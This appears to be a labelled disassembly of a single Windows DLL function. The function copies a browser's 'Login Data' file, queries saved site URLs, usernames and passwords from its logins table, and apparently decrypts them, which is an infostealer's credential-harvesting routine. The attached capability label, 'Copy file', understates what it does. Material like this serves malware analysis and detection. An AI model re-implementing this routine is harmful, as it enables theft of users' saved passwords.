Function at 0x18000b540
Capabilities:
Copy file

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rsp + 0x410], rbx
mov rax, qword [0x1802e4710]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r13, rdx
mov rdi, rcx
cmp byte [rcx + 0x54], 0
jne 0x18000b5a0
mov eax, dword [rcx + 0x58]
mov esi, 1
cmp eax, 0
cmove eax, esi
mov dword [rcx + 0x58], eax
xor eax, eax
jmp 0x18000b9a7
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
call fcn.18000bba0
movzx r12d, al
lea rcx, str.Login_Data.tmp
call fcn.1800ae798
cmp qword [rdi + 0x18], 0x10
jb 0x18000b5d2
mov rcx, qword [rdi]
jmp 0x18000b5d5
mov rcx, rdi
mov esi, 1
mov r8d, esi
lea rdx, str.Login_Data.tmp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x18000b5fa
mov dword [rdi + 0x58], 3
jmp 0x18000b9a7
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x60]
lea rcx, str.Login_Data.tmp
call fcn.1800a7120
test eax, eax
je 0x18000b624
mov dword [rdi + 0x58], 4
xor eax, eax
jmp 0x18000b9a7
xor ecx, ecx
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9d, esi
or r8d, 0xffffffff
lea rdx, str.SELECT_origin_url__username_value__password_value_date_created_FROM_logins
mov r14, qword [rsp + 0x60]
mov rcx, r14
call fcn.18007cfe0
test eax, eax
je 0x18000b667
mov dword [rdi + 0x58], 5
xor eax, eax
jmp 0x18000b9a7
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.180040cd0
cmp eax, 0x65
je 0x18000b97c
lea r15, [rdi + 0x88]
mov r14d, 2
nop word [rax + rax]
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
xor eax, eax
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x50], al
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x18], rax
mov byte [rbp - 0x28], al
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x10], rax
mov byte [rbp], al
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x38], rax
mov byte [rbp + 0x28], al
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x60], rax
mov byte [rbp + 0x50], al
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp - 0x50]
call fcn.180009300
xor edx, edx
mov rcx, rbx
call fcn.180041630
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x28]
call fcn.180009740
mov edx, esi
mov rcx, rbx
call fcn.180041630
mov rcx, rax
call fcn.1800ab940
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp]
call fcn.180009740
mov edx, 3
mov rcx, rbx
call fcn.180041630
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1800ae768
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1800aba60
mov rdi, rax
lea rax, [rbp + 0x50]
cmp rax, rdi
je 0x18000b7df
cmp qword [rbp + 0x68], 0x10
jb 0x18000b78e
mov rcx, qword [rbp + 0x50]
call fcn.1800acf88
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
xor ecx, ecx
mov qword [rbp + 0x60], rcx
mov byte [rbp + 0x50], cl
cmp qword [rdi + 0x18], 0x10
jae 0x18000b7bd
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.1800acfd0
xor ecx, ecx
jmp 0x18000b7c7
mov rax, qword [rdi]
mov qword [rbp + 0x50], rax
mov qword [rdi], rcx
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x60], rax
mov rax, qword [rdi + 0x18]
mov qword [rbp + 0x68], rax
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rcx
cmp qword [rbp + 0x98], 0x10
jb 0x18000b7f5
mov rcx, qword [rbp + 0x80]
call fcn.1800acf88
mov edx, r14d
mov rcx, rbx
call fcn.180041350
mov dword [rsp + 0x70], eax
test rbx, rbx
je 0x18000b861
cmp qword [rbx + 0x28], 0
je 0x18000b836
cmp r14w, word [rbx + 0x88]
jae 0x18000b836
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x18000b82c
call qword [0x1802e8008]
mov rcx, qword [rbx + 0x28]
add rcx, 0x70
jmp 0x18000b868
mov rax, qword [rbx]
test rax, rax
je 0x18000b861
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x18000b84d
call qword [0x1802e8008]
mov rcx, qword [rbx]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.18001a390
lea rcx, [0x1802b6038]
call fcn.18003ff30
mov rdi, rax
test rbx, rbx
je 0x18000b8b0
mov edx, dword [rbx + 0x84]
mov rcx, qword [rbx]
cmp byte [rcx + 0x55], 0
jne 0x18000b893
cmp edx, 0xc0a
je 0x18000b893
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x18000b898
call fcn.180017990
mov dword [rbx + 0x84], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x18000b8b0
call qword [0x1802e8018]
mov qword [rsp + 0x78], rdi
xor ecx, ecx
mov dword [rsp + 0x50], ecx
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x58], rax
mov edx, r14d
mov rcx, rbx
call fcn.180041350
mov edi, eax
mov edx, r14d
mov rcx, rbx
call fcn.180041630
mov rcx, rax
lea r8, [rbp + 0x28]
lea edx, [rdi + 1]
call fcn.1800ab750
test al, al
jne 0x18000b950
test r12b, r12b
je 0x18000b950
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rbp - 0x80], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.1800ab600
test eax, eax
je 0x18000b93a
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x58]
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
jmp 0x18000b947
mov r8d, 6
lea rdx, str.failed
lea rcx, [rbp + 0x28]
call fcn.180009740
lea rdx, [rbp - 0x50]
mov rcx, r13
call fcn.1800090b0
nop
lea rcx, [rbp - 0x50]
call fcn.1800075d0
mov rcx, rbx
call fcn.180040cd0
cmp eax, 0x65
jne 0x18000b690
mov r14, qword [rsp + 0x60]
mov rcx, rbx
call fcn.18003fc80
xor edx, edx
mov rcx, r14
call fcn.1800a48c0
lea rcx, str.Login_Data.tmp
call fcn.1800ae798
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.1800acfa0
mov rbx, qword [rsp + 0x410]
add rsp, 0x3c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret